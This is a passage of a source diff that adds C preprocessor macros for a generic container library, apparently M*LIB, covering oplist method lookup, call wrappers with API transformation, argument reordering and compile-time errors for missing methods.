+#define M_GET_KEY_TYPE(...)  M_GET_METHOD(KEY_TYPE,    M_NO_DEF_KEY_TYPE,  __VA_ARGS__)
+#define M_GET_VALUE_TYPE(...) M_GET_METHOD(VALUE_TYPE, M_NO_DEF_VALUE_TYPE,__VA_ARGS__)
+#define M_GET_KEY_OPLIST(...) M_GET_METHOD(KEY_OPLIST, (),                 __VA_ARGS__)
+#define M_GET_VALUE_OPLIST(...) M_GET_METHOD(VALUE_OPLIST, (),             __VA_ARGS__)
+#define M_GET_GET_KEY(...)   M_GET_METHOD(GET_KEY,     M_NO_DEF_GET_KEY,   __VA_ARGS__)
+#define M_GET_SET_KEY(...)   M_GET_METHOD(SET_KEY,     M_NO_DEF_SET_KEY,   __VA_ARGS__)
+#define M_GET_SAFE_GET_KEY(...) M_GET_METHOD(SAFE_GET_KEY, M_NO_DEF_SAFE_GET_KEY, __VA_ARGS__)
+#define M_GET_ERASE_KEY(...) M_GET_METHOD(ERASE_KEY,   M_NO_DEF_ERASE_KEY, __VA_ARGS__)
+#define M_GET_GET_SIZE(...)  M_GET_METHOD(GET_SIZE,    M_NO_DEF_GET_SIZE,  __VA_ARGS__)
+#define M_GET_PUSH(...)      M_GET_METHOD(PUSH,        M_NO_DEF_PUSH,      __VA_ARGS__)
+#define M_GET_POP(...)       M_GET_METHOD(POP,         M_NO_DEF_POP,       __VA_ARGS__)
+#define M_GET_PUSH_MOVE(...) M_GET_METHOD(PUSH_MOVE,   M_NO_DEF_PUSH_MOVE, __VA_ARGS__)
+#define M_GET_POP_MOVE(...)  M_GET_METHOD(POP_MOVE,    M_NO_DEF_POP_MOVE,  __VA_ARGS__)
+#define M_GET_REVERSE(...)   M_GET_METHOD(REVERSE,     M_NO_DEF_REVERSE,   __VA_ARGS__)
+#define M_GET_GET_STR(...)   M_GET_METHOD(GET_STR,     M_NO_DEF_GET_STR,   __VA_ARGS__)
+#define M_GET_PARSE_STR(...) M_GET_METHOD(PARSE_STR,   M_NO_DEF_PARSE_STR, __VA_ARGS__)
+#define M_GET_OUT_STR(...)   M_GET_METHOD(OUT_STR,     M_NO_DEF_OUT_STR,   __VA_ARGS__)
+#define M_GET_IN_STR(...)    M_GET_METHOD(IN_STR,      M_NO_DEF_IN_STR,    __VA_ARGS__)
+#define M_GET_OUT_SERIAL(...) M_GET_METHOD(OUT_SERIAL, M_NO_DEF_OUT_SERIAL,__VA_ARGS__)
+#define M_GET_IN_SERIAL(...) M_GET_METHOD(IN_SERIAL,   M_NO_DEF_IN_SERIAL, __VA_ARGS__)
+#define M_GET_SEPARATOR(...) M_GET_METHOD(SEPARATOR,   ',',                __VA_ARGS__)
+#define M_GET_EXT_ALGO(...)  M_GET_METHOD(EXT_ALGO,    M_NO_EXT_ALGO,      __VA_ARGS__)
+#define M_GET_INC_ALLOC(...) M_GET_METHOD(INC_ALLOC,   M_INC_ALLOC_DEFAULT, __VA_ARGS__)
+#define M_GET_OOR_SET(...)   M_GET_METHOD(OOR_SET,     M_NO_DEF_OOR_SET,   __VA_ARGS__)
+#define M_GET_OOR_EQUAL(...) M_GET_METHOD(OOR_EQUAL,   M_NO_DEF_OOR_EQUAL, __VA_ARGS__)
+#define M_GET_PROPERTIES(...) M_GET_METHOD(PROPERTIES, (),                 __VA_ARGS__)
+#define M_GET_EMPLACE_TYPE(...) M_GET_METHOD(EMPLACE_TYPE,             ,   __VA_ARGS__)
+// As attribute customization
+#define M_GET_NEW(...)       M_GET_METHOD(NEW,         M_MEMORY_ALLOC,     __VA_ARGS__)
+#define M_GET_DEL(...)       M_GET_METHOD(DEL,         M_MEMORY_DEL,       __VA_ARGS__)
+#define M_GET_REALLOC(...)   M_GET_METHOD(REALLOC,     M_MEMORY_REALLOC,   __VA_ARGS__)
+#define M_GET_FREE(...)      M_GET_METHOD(FREE,        M_MEMORY_FREE,      __VA_ARGS__)
+#define M_GET_SIZE(...)      M_GET_METHOD(SIZE,        0,                  __VA_ARGS__)
+#define M_GET_CONTEXT(...)   M_GET_METHOD(CONTEXT,     0,                  __VA_ARGS__)
+#define M_GET_POLICY(...)    M_GET_METHOD(POLICY,      0,                  __VA_ARGS__)
+
+// Calling method with support of defined transformation API
+// operators that are not methods are commented
+#define M_CALL_INIT(oplist, ...) M_APPLY_API(M_GET_INIT oplist, oplist, __VA_ARGS__)
+#define M_CALL_INIT_SET(oplist, ...) M_APPLY_API(M_GET_INIT_SET oplist, oplist, __VA_ARGS__)
+#define M_CALL_INIT_MOVE(oplist, ...) M_APPLY_API(M_GET_INIT_MOVE oplist, oplist, __VA_ARGS__)
+#define M_CALL_INIT_WITH(oplist, ...) M_APPLY_API(M_GET_INIT_WITH oplist, oplist, __VA_ARGS__)
+#define M_CALL_SET(oplist, ...) M_APPLY_API(M_GET_SET oplist, oplist, __VA_ARGS__)
+#define M_CALL_MOVE(oplist, ...) M_APPLY_API(M_GET_MOVE oplist, oplist, __VA_ARGS__)
+#define M_CALL_SWAP(oplist, ...) M_APPLY_API(M_GET_SWAP oplist, oplist, __VA_ARGS__)
+#define M_CALL_CLEAR(oplist, ...) M_APPLY_API(M_GET_CLEAR oplist, oplist, __VA_ARGS__)
+#define M_CALL_HASH(oplist, ...) M_APPLY_API(M_GET_HASH oplist, oplist, __VA_ARGS__)
+#define M_CALL_EQUAL(oplist, ...) M_APPLY_API(M_GET_EQUAL oplist, oplist, __VA_ARGS__)
+#define M_CALL_CMP(oplist, ...) M_APPLY_API(M_GET_CMP oplist, oplist, __VA_ARGS__)
+//#define M_CALL_TYPE(oplist, ...) M_APPLY_API(M_GET_TYPE oplist, oplist, __VA_ARGS__)
+//#define M_CALL_SUBTYPE(oplist, ...) M_APPLY_API(M_GET_SUBTYPE oplist, oplist, __VA_ARGS__)
+//#define M_CALL_SUBTYPE_PTR(oplist, ...) M_APPLY_API(M_GET_SUBTYPE_PTR oplist, oplist, __VA_ARGS__)
+//#define M_CALL_GENTYPE(oplist, ...) M_APPLY_API(M_GET_GENTYPE oplist, oplist, __VA_ARGS__)
+//#define M_CALL_NAME(oplist, ...) M_APPLY_API(M_GET_NAME oplist, oplist, __VA_ARGS__)
+//#define M_CALL_FIELD(oplist, ...) M_APPLY_API(M_GET_FIELD oplist, oplist, __VA_ARGS__)
+//#define M_CALL_OPLIST(oplist, ...) M_APPLY_API(M_GET_OPLIST oplist, oplist, __VA_ARGS__)
+#define M_CALL_SORT(oplist, ...) M_APPLY_API(M_GET_SORT oplist, oplist, __VA_ARGS__)
+#define M_CALL_SPLICE_BACK(oplist, ...) M_APPLY_API(M_GET_SPLICE_BACK oplist, oplist, __VA_ARGS__)
+#define M_CALL_SPLICE_AT(oplist, ...) M_APPLY_API(M_GET_SPLICE_AT oplist, oplist, __VA_ARGS__)
+//#define M_CALL_IT_TYPE(oplist, ...) M_APPLY_API(M_GET_IT_TYPE oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_FIRST(oplist, ...) M_APPLY_API(M_GET_IT_FIRST oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_LAST(oplist, ...) M_APPLY_API(M_GET_IT_LAST oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_END(oplist, ...) M_APPLY_API(M_GET_IT_END oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_SET(oplist, ...) M_APPLY_API(M_GET_IT_SET oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_END_P(oplist, ...) M_APPLY_API(M_GET_IT_END_P oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_LAST_P(oplist, ...) M_APPLY_API(M_GET_IT_LAST_P oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_EQUAL_P(oplist, ...) M_APPLY_API(M_GET_IT_EQUAL_P oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_NEXT(oplist, ...) M_APPLY_API(M_GET_IT_NEXT oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_PREVIOUS(oplist, ...) M_APPLY_API(M_GET_IT_PREVIOUS oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_REF(oplist, ...) M_APPLY_API(M_GET_IT_REF oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_CREF(oplist, ...) M_APPLY_API(M_GET_IT_CREF oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_REMOVE(oplist, ...) M_APPLY_API(M_GET_IT_REMOVE oplist, oplist, __VA_ARGS__)
+#define M_CALL_IT_INSERT(oplist, ...) M_APPLY_API(M_GET_IT_INSERT oplist, oplist, __VA_ARGS__)
+#define M_CALL_EMPTY_P(oplist, ...) M_APPLY_API(M_GET_EMPTY_P oplist, oplist, __VA_ARGS__)
+#define M_CALL_FULL_P(oplist, ...) M_APPLY_API(M_GET_FULL_P oplist, oplist, __VA_ARGS__)
+#define M_CALL_ADD(oplist, ...) M_APPLY_API(M_GET_ADD oplist, oplist, __VA_ARGS__)
+#define M_CALL_SUB(oplist, ...) M_APPLY_API(M_GET_SUB oplist, oplist, __VA_ARGS__)
+#define M_CALL_MUL(oplist, ...) M_APPLY_API(M_GET_MUL oplist, oplist, __VA_ARGS__)
+#define M_CALL_DIV(oplist, ...) M_APPLY_API(M_GET_DIV oplist, oplist, __VA_ARGS__)
+#define M_CALL_RESET(oplist, ...) M_APPLY_API(M_GET_RESET oplist, oplist, __VA_ARGS__)
+#define M_CALL_GET_KEY(oplist, ...) M_APPLY_API(M_GET_GET_KEY oplist, oplist, __VA_ARGS__)
+#define M_CALL_SET_KEY(oplist, ...) M_APPLY_API(M_GET_SET_KEY oplist, oplist, __VA_ARGS__)
+#define M_CALL_SAFE_GET_KEY(oplist, ...) M_APPLY_API(M_GET_SAFE_GET_KEY oplist, oplist, __VA_ARGS__)
+#define M_CALL_ERASE_KEY(oplist, ...) M_APPLY_API(M_GET_ERASE_KEY oplist, oplist, __VA_ARGS__)
+#define M_CALL_GET_SIZE(oplist, ...) M_APPLY_API(M_GET_GET_SIZE oplist, oplist, __VA_ARGS__)
+#define M_CALL_PUSH(oplist, ...) M_APPLY_API(M_GET_PUSH oplist, oplist, __VA_ARGS__)
+#define M_CALL_POP(oplist, ...) M_APPLY_API(M_GET_POP oplist, oplist, __VA_ARGS__)
+#define M_CALL_PUSH_MOVE(oplist, ...) M_APPLY_API(M_GET_PUSH_MOVE oplist, oplist, __VA_ARGS__)
+#define M_CALL_POP_MOVE(oplist, ...) M_APPLY_API(M_GET_POP_MOVE oplist, oplist, __VA_ARGS__)
+#define M_CALL_REVERSE(oplist, ...) M_APPLY_API(M_GET_REVERSE oplist, oplist, __VA_ARGS__)
+#define M_CALL_GET_STR(oplist, ...) M_APPLY_API(M_GET_GET_STR oplist, oplist, __VA_ARGS__)
+#define M_CALL_PARSE_STR(oplist, ...) M_APPLY_API(M_GET_PARSE_STR oplist, oplist, __VA_ARGS__)
+#define M_CALL_OUT_STR(oplist, ...) M_APPLY_API(M_GET_OUT_STR oplist, oplist, __VA_ARGS__)
+#define M_CALL_IN_STR(oplist, ...) M_APPLY_API(M_GET_IN_STR oplist, oplist, __VA_ARGS__)
+#define M_CALL_OUT_SERIAL(oplist, ...) M_APPLY_API(M_GET_OUT_SERIAL oplist, oplist, __VA_ARGS__)
+#define M_CALL_IN_SERIAL(oplist, ...) M_APPLY_API(M_GET_IN_SERIAL oplist, oplist, __VA_ARGS__)
+//#define M_CALL_SEPARATOR(oplist, ...) M_APPLY_API(M_GET_SEPARATOR oplist, oplist, __VA_ARGS__)
+//#define M_CALL_EXT_ALGO(oplist, ...) M_APPLY_API(M_GET_EXT_ALGO oplist, oplist, __VA_ARGS__)
+#define M_CALL_INC_ALLOC(oplist, ...) M_APPLY_API(M_GET_INC_ALLOC oplist, oplist, __VA_ARGS__)
+#define M_CALL_OOR_SET(oplist, ...) M_APPLY_API(M_GET_OOR_SET oplist, oplist, __VA_ARGS__)
+#define M_CALL_OOR_EQUAL(oplist, ...) M_APPLY_API(M_GET_OOR_EQUAL oplist, oplist, __VA_ARGS__)
+//#define M_CALL_PROPERTIES(oplist, ...) M_APPLY_API(M_GET_PROPERTIES oplist, oplist, __VA_ARGS__)
+//#define M_CALL_EMPLACE_TYPE(oplist, ...) M_APPLY_API(M_GET_EMPLACE_TYPE oplist, oplist, __VA_ARGS__)
+// m_context is always added here!
+#define M_CALL_NEW(oplist, ...) M_APPLY_API(M_GET_NEW oplist, oplist, m_context, __VA_ARGS__)
+#define M_CALL_DEL(oplist, ...) M_APPLY_API(M_GET_DEL oplist, oplist, m_context, __VA_ARGS__)
+#define M_CALL_REALLOC(oplist, ...) M_APPLY_API(M_GET_REALLOC oplist, oplist, m_context, __VA_ARGS__)
+#define M_CALL_FREE(oplist, ...) M_APPLY_API(M_GET_FREE oplist, oplist, m_context, __VA_ARGS__)
+//#define M_CALL_SIZE(oplist, ...) M_APPLY_API(M_GET_SIZE oplist, oplist, __VA_ARGS__)
+//#define M_CALL_CONTEXT(oplist, ...) M_APPLY_API(M_GET_CONTEXT oplist, oplist, __VA_ARGS__)
+//#define M_CALL_POLICY(oplist, ...)  M_APPLY_API(M_GET_POLICY oplist, oplist, __VA_ARGS__)
+
+
+/* API transformation support:
+   transform the call to the method into the supported API by the method.
+   Example of usage in oplist: ( INIT_WITH(API_1(method)) )
+   NOTE: It uses M_RET_ARG3 instead of M_RET_ARG2 since M_GET_METHOD
+   uses M_RET_ARG2: to be able to use M_GET_METHOD within a M_APPLY_API
+   we need another macro to avoid being marked.
+*/
+#define M_APPLY_API(method, oplist, ...)                                      \
+  M_RET_ARG3( , M_C(M_OPLAPI_INDIRECT_, method)(M_C(M_OPLAPI_EXTRACT_,method),oplist,__VA_ARGS__), method(__VA_ARGS__),)
+
+/* Pre-defined API Transformation :
+   0: Method has been disable. It shall not be called. Raised an error.
+   API_0: default, API_1: oplist given,
+   API_2: by addr for first argument, API_3: oplist given,
+   API_4 :by affectation for first argument, 5: API_by affectation + oplist
+   API_6 :by addr for two arguments, 5: API_by address for both + oplist
+
+   NOTE: It starts by a comma, to ack the success of the transformation.
+*/
+#define M_OPLAPI_ERROR(method, oplist, ...)  , M_STATIC_ASSERT(false, M_LIB_DISABLED_METHOD, "The method has been explictly disabled for the requested operator, yet it has been called by the container")
+#define M_OPLAPI_0(method, oplist, ...)      , M_DELAY3(method)(__VA_ARGS__)
+#define M_OPLAPI_1(method, oplist, ...)      , M_DELAY3(method)(oplist, __VA_ARGS__)
+#define M_OPLAPI_2(method, oplist, ...)      , M_DELAY3(method)(& __VA_ARGS__)
+#define M_OPLAPI_3(method, oplist, ...)      , M_DELAY3(method)(oplist, &__VA_ARGS__)
+#define M_OPLAPI_4(method, oplist, x, ...)   , x = M_DELAY3(method)(__VA_ARGS__)
+#define M_OPLAPI_5(method, oplist, x, ...)   , x = M_DELAY3(method)(oplist, __VA_ARGS__)
+#define M_OPLAPI_6(method, oplist, x, ...)   , M_DELAY3(method)(&x, &__VA_ARGS__)
+#define M_OPLAPI_7(method, oplist, x, ...)   , M_DELAY3(method)(oplist, &x, &__VA_ARGS__)
+#define M_OPLAPI_0P(method, oplist, ...)      , M_DELAY3(method)(m_context, __VA_ARGS__)
+#define M_OPLAPI_1P(method, oplist, ...)      , M_DELAY3(method)(oplist, m_context, __VA_ARGS__)
+#define M_OPLAPI_2P(method, oplist, ...)      , M_DELAY3(method)(m_context, & __VA_ARGS__)
+#define M_OPLAPI_3P(method, oplist, ...)      , M_DELAY3(method)(oplist, m_context, &__VA_ARGS__)
+#define M_OPLAPI_4P(method, oplist, x, ...)   , x = M_DELAY3(method)(m_context, __VA_ARGS__)
+#define M_OPLAPI_5P(method, oplist, x, ...)   , x = M_DELAY3(method)(oplist, m_context, __VA_ARGS__)
+#define M_OPLAPI_6P(method, oplist, x, ...)   , M_DELAY3(method)(m_context, &x, &__VA_ARGS__)
+#define M_OPLAPI_7P(method, oplist, x, ...)   , M_DELAY3(method)(oplist, m_context, &x, &__VA_ARGS__)
+/* API transformation support for indirection */
+#define M_OPLAPI_INDIRECT_0          M_OPLAPI_ERROR
+#define M_OPLAPI_INDIRECT_API_0(...) M_OPLAPI_0
+#define M_OPLAPI_EXTRACT_API_0(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_1(...) M_OPLAPI_1
+#define M_OPLAPI_EXTRACT_API_1(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_2(...) M_OPLAPI_2
+#define M_OPLAPI_EXTRACT_API_2(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_3(...) M_OPLAPI_3
+#define M_OPLAPI_EXTRACT_API_3(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_4(...) M_OPLAPI_4
+#define M_OPLAPI_EXTRACT_API_4(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_5(...) M_OPLAPI_5
+#define M_OPLAPI_EXTRACT_API_5(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_6(...) M_OPLAPI_6
+#define M_OPLAPI_EXTRACT_API_6(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_7(...) M_OPLAPI_7
+#define M_OPLAPI_EXTRACT_API_7(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_0P(...) M_OPLAPI_0P
+#define M_OPLAPI_EXTRACT_API_0P(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_1P(...) M_OPLAPI_1P
+#define M_OPLAPI_EXTRACT_API_1P(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_2P(...) M_OPLAPI_2P
+#define M_OPLAPI_EXTRACT_API_2P(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_3P(...) M_OPLAPI_3P
+#define M_OPLAPI_EXTRACT_API_3P(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_4P(...) M_OPLAPI_4P
+#define M_OPLAPI_EXTRACT_API_4P(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_5P(...) M_OPLAPI_5P
+#define M_OPLAPI_EXTRACT_API_5P(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_6P(...) M_OPLAPI_6P
+#define M_OPLAPI_EXTRACT_API_6P(...)  __VA_ARGS__
+#define M_OPLAPI_INDIRECT_API_7P(...) M_OPLAPI_7P
+#define M_OPLAPI_EXTRACT_API_7P(...)  __VA_ARGS__
+
+
+/* Generic API transformation.
+ * The API itself is described in the operator mapping with the method name.
+ *
+ * Usage in oplist:
+ *  operator ( API( method, returncode, args...) )
+ * * method is the method name
+ * * returncode is the transformation to perform of the return code. It can be:
+ *   - NONE: no transformation
+ *   - VOID: cast to void
+ *   - EQ(val)/NEQ(val)/LT(val)/GT(val)/LE(val)/GE(val): compare return code to val
+ *   - ARG[1-9]: set the associated argument number of the operator to the return code
+ * * args are the list of the arguments of the function. It can be:
+ *   - a constant
+ *   - a variable name (probable global)
+ *   - ARG[1-9] : the associated argument number of the operator
+ *   - ARGPTR[1-9] : the pointer of the associated argument number of the operator
+ *   - OPLIST: the oplist
+ */
+
+/* Needed duplicate of M_RET_ARG2 as we call it within a M_RET_ARG2
+ * FIXME: Can M_HEAD_2 be used instead? */
+#define M_RETI_ARG2_BIS(_1, _2, ...) _2
+#define M_RET_ARG2_BIS(...) M_RETI_ARG2_BIS(__VA_ARGS__,)
+
+/* Reorder the arglist 'arglist' according to the order 'orderlist'
+ * Inject also '&' if the address of the argument is requested in orderlist
+ * Inject also default value if requested in orderlist
+ * Inject also the oplist of requested in orderlist
+ */
+#define M_REORDER_ARGLIST(arglist, orderlist)                                 \
+    M_MAP2B_C( M_REORDER_ARGLIST_FUNC, arglist, M_REORDER_ARGLIST_ID orderlist)
+#define M_REORDER_ARGLIST_ID(...)              __VA_ARGS__
+#define M_REORDER_ARGLIST_FUNC(arglist, order)                                \
+    M_RET_ARG2_BIS( M_C(M_REORDER_ARGLIST_FUNC_, order) (arglist), order, )
+
+/* The first ARG starts from the second index as the first index is the oplist */
+#define M_REORDER_ARGLIST_FUNC_OPLIST(arglist) , M_RET_ARG1  arglist ,
+
+#define M_REORDER_ARGLIST_FUNC_ARG1(arglist)  , M_RET_ARG2  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARG2(arglist)  , M_RET_ARG3  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARG3(arglist)  , M_RET_ARG4  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARG4(arglist)  , M_RET_ARG5  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARG5(arglist)  , M_RET_ARG6  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARG6(arglist)  , M_RET_ARG7  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARG7(arglist)  , M_RET_ARG8  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARG8(arglist)  , M_RET_ARG9  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARG9(arglist)  , M_RET_ARG10  arglist ,
+
+#define M_REORDER_ARGLIST_FUNC_ARGPTR1(arglist)  , & M_RET_ARG2  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARGPTR2(arglist)  , & M_RET_ARG3  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARGPTR3(arglist)  , & M_RET_ARG4  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARGPTR4(arglist)  , & M_RET_ARG5  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARGPTR5(arglist)  , & M_RET_ARG6  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARGPTR6(arglist)  , & M_RET_ARG7  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARGPTR7(arglist)  , & M_RET_ARG8  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARGPTR8(arglist)  , & M_RET_ARG9  arglist ,
+#define M_REORDER_ARGLIST_FUNC_ARGPTR9(arglist)  , & M_RET_ARG10  arglist ,
+
+#define M_REORDER_ARGLIST_FUNC_ID(arg)         , arg , M_EAT
+
+/* Perform the API translation of the return code depending
+   on the given keyword (NONE, EQ, NEQ, ...).) */
+#define M_REORDER_RET_NONE(...)     /* Nothing */
+#define M_REORDER_RET_VOID(...)     (void)
+#define M_REORDER_RET_NEG(...)      -
+#define M_REORDER_RET_EQ(value)     value == M_EAT
+#define M_REORDER_RET_NEQ(value)    value != M_EAT
+#define M_REORDER_RET_LT(value)     value >  M_EAT
+#define M_REORDER_RET_LE(value)     value >= M_EAT
+#define M_REORDER_RET_GT(value)     value <  M_EAT
+#define M_REORDER_RET_GE(value)     value <= M_EAT
+#define M_REORDER_RET_ARG1(...)     M_RET_ARG1(__VA_ARGS__) =
+#define M_REORDER_RET_ARG2(...)     M_RET_ARG2(__VA_ARGS__) =
+#define M_REORDER_RET_ARG3(...)     M_RET_ARG3(__VA_ARGS__) =
+#define M_REORDER_RET_ARG4(...)     M_RET_ARG4(__VA_ARGS__) =
+#define M_REORDER_RET_ARG5(...)     M_RET_ARG5(__VA_ARGS__) =
+#define M_REORDER_RET_ARG6(...)     M_RET_ARG6(__VA_ARGS__) =
+#define M_REORDER_RET_ARG7(...)     M_RET_ARG7(__VA_ARGS__) =
+#define M_REORDER_RET_ARG8(...)     M_RET_ARG8(__VA_ARGS__) =
+#define M_REORDER_RET_ARG9(...)     M_RET_ARG9(__VA_ARGS__) =
+
+/* Integrate the generic API in the API transformation framework */
+#define M_OPLAPI(method, oplist, ...) , ( M_C( M_REORDER_RET_, M_DELAY2(M_HEAD_2 method))(__VA_ARGS__, ) M_DELAY2(M_HEAD method)( M_REORDER_ARGLIST( (oplist, __VA_ARGS__), ( M_TAIL_2 method ) ) ) )
+#define M_OPLAPI_INDIRECT_API(...)    M_OPLAPI
+#define M_OPLAPI_EXTRACT_API(...)     ( __VA_ARGS__ )
+
+
+/* Define the no default function that generates 
+ * a proper compiler error if the method is expanded.
+ * We still give a proper return type to avoid generating too much errors
+ * and to focus on the real error of missing method.
+*/
+#define M_NO_DEFAULT(operator, return_type)                                   \
+  (M_STATIC_ASSERT(false, M_LIB_MISSING_METHOD,                               \
+  "The " #operator " operator has no method associated in the given OPLIST."),\
+  (return_type) 0)
+
+#define M_NO_DEF_INIT_WITH(...)   M_NO_DEFAULT(INIT_WITH, void)
+#define M_NO_DEF_MOVE(...)        M_NO_DEFAULT(MOVE, void)
+#define M_NO_DEF_SWAP(...)        M_NO_DEFAULT(SWAP, void)
+#define M_NO_DEF_HASH(...)        M_NO_DEFAULT(HASH, size_t)
+#define M_NO_DEF_SORT(...)        M_NO_DEFAULT(SORT, void)
+#define M_NO_DEF_SPLICE_BACK(...) M_NO_DEFAULT(SPLICE_BACK, void)
+#define M_NO_DEF_SPLICE_AT(...)   M_NO_DEFAULT(SPLICE_AT, void)
+#define M_NO_DEF_IT_FIRST(...)    M_NO_DEFAULT(IT_FIRST, void)
+#define M_NO_DEF_IT_LAST(...)     M_NO_DEFAULT(IT_LAST, void)
+#define M_NO_DEF_IT_END(...)      M_NO_DEFAULT(IT_END, void)
+#define M_NO_DEF_IT_SET(...)      M_NO_DEFAULT(IT_SET, void)
+#define M_NO_DEF_IT_END_P(...)    M_NO_DEFAULT(IT_END_P, bool)
+#define M_NO_DEF_IT_LAST_P(...)   M_NO_DEFAULT(IT_LAST_P, bool)
+#define M_NO_DEF_IT_EQUAL_P(...)  M_NO_DEFAULT(IT_EQUAL_P, bool)
+#define M_NO_DEF_IT_NEXT(...)     M_NO_DEFAULT(IT_NEXT, void)
+#define M_NO_DEF_IT_PREVIOUS(...) M_NO_DEFAULT(IT_PREVIOUS, void)
+#define M_NO_DEF_IT_REF(...)      M_NO_DEFAULT(IT_REF, void)
+#define M_NO_DEF_IT_CREF(...)     M_NO_DEFAULT(IT_CREF, void)
+#define M_NO_DEF_IT_REMOVE(...)   M_NO_DEFAULT(IT_REMOVE, void)
+#define M_NO_DEF_IT_INSERT(...)   M_NO_DEFAULT(IT_INSET, void)
+#define M_NO_DEF_EMPTY_P(...)     M_NO_DEFAULT(EMPTY_P, bool)
+#define M_NO_DEF_RESET(...)       M_NO_DEFAULT(RESET, void)
+#define M_NO_DEF_GET_KEY(...)     M_NO_DEFAULT(GET_KEY, void*)
+#define M_NO_DEF_SET_KEY(...)     M_NO_DEFAULT(SET_KEY, void)
+#define M_NO_DEF_SAFE_GET_KEY(...) M_NO_DEFAULT(SAFE_GET_KEY, void*)
+#define M_NO_DEF_ERASE_KEY(...)   M_NO_DEFAULT(ERASE_KEY, void)
+#define M_NO_DEF_GET_SIZE(...)    M_NO_DEFAULT(GET_SIZE, size_t)
+#define M_NO_DEF_PUSH(...)        M_NO_DEFAULT(PUSH, void)
+#define M_NO_DEF_POP(...)         M_NO_DEFAULT(POP, void)
+#define M_NO_DEF_PUSH_MOVE(...)   M_NO_DEFAULT(PUSH_MOVE, void)
+#define M_NO_DEF_POP_MOVE(...)    M_NO_DEFAULT(POP_MOVE, void)
+#define M_NO_DEF_REVERSE(...)     M_NO_DEFAULT(REVERSE, void)
+#define M_NO_DEF_GET_STR(...)     M_NO_DEFAULT(GET_STR, void)
+#define M_NO_DEF_PARSE_STR(...)   M_NO_DEFAULT(PARSE_STR, bool)
+#define M_NO_DEF_OUT_STR(...)     M_NO_DEFAULT(OUT_STR, void)
+#define M_NO_DEF_IN_STR(...)      M_NO_DEFAULT(IN_STR, bool)
+#define M_NO_DEF_OUT_SERIAL(...)  M_NO_DEFAULT(OUT_SERIAL, m_serial_return_code_t)
+#define M_NO_DEF_IN_SERIAL(...)   M_NO_DEFAULT(IN_SERIAL, m_serial_return_code_t)
+#define M_NO_DEF_OOR_SET(...)     M_NO_DEFAULT(OOR_SET, void)
+#define M_NO_DEF_OOR_EQUAL(...)   M_NO_DEFAULT(OOR_EQUAL, bool)
+
+/* Create a type with an invalid static assertion.
+   Creating a type allowed the macro into something not too bad
+   from a syntaxic point of view, reducing the amount of errors reported
+   so that the user can concentrate on the real error.
+*/
+#define M_NO_DEFAULT_TYPE(op)                                                 \
+  struct { int m_x[                                                           \
+  (M_STATIC_ASSERT(false, M_LIB_MISSING_METHOD,                               \
+  "The " #op " operator is not registered in the given OPLIST. ")             \
+  , 1)]; }
+
+#define M_NO_DEF_TYPE             M_NO_DEFAULT_TYPE(TYPE)
+#define M_NO_DEF_IT_TYPE          M_NO_DEFAULT_TYPE(IT_TYPE)
+#define M_NO_DEF_SUBTYPE          M_NO_DEFAULT_TYPE(SUBTYPE)
+#define M_NO_DEF_SUBTYPE_PTR      M_NO_DEFAULT_TYPE(SUBTYPE_PTR)
+#define M_NO_DEF_GENTYPE          M_NO_DEFAULT_TYPE(GENTYPE)
+#define M_NO_DEF_KEY_TYPE         M_NO_DEFAULT_TYPE(KEY_TYPE)
+#define M_NO_DEF_VALUE_TYPE       M_NO_DEFAULT_TYPE(VALUE_TYPE)
+#define M_NO_DEF_NAME             M_NO_DEFAULT_TYPE(NAME) m_no_name
+
+/* Test if the given variable is indeed a basic C variable:
+   int, float, enum, bool or compatible.
+   NOTE: Not perfect, but catch some errors */
+#ifdef NDEBUG
+#define M_CHECK_BASIC_TYPE(a) (void) 0
+#elif defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
+#define M_CHECK_BASIC_TYPE(a)                                                 \
+  M_STATIC_ASSERT(_Generic(a,                                                 \
+                           _Bool: 1,                                          \
+                           char: 1, unsigned char: 1, signed char: 1,         \
+                           unsigned short: 1, signed short: 1,                \
+                           unsigned int: 1, signed int: 1,                    \
+                           unsigned long: 1, signed long: 1,                  \
+                           unsigned long long: 1, signed long long:1,         \
+                           float: 1, double:1, long double: 1,                \
+                           char *:1, void*:1,                                 \
+                  default: 0),                                                \
+                  M_LIB_NOT_A_BASIC_TYPE,                                     \
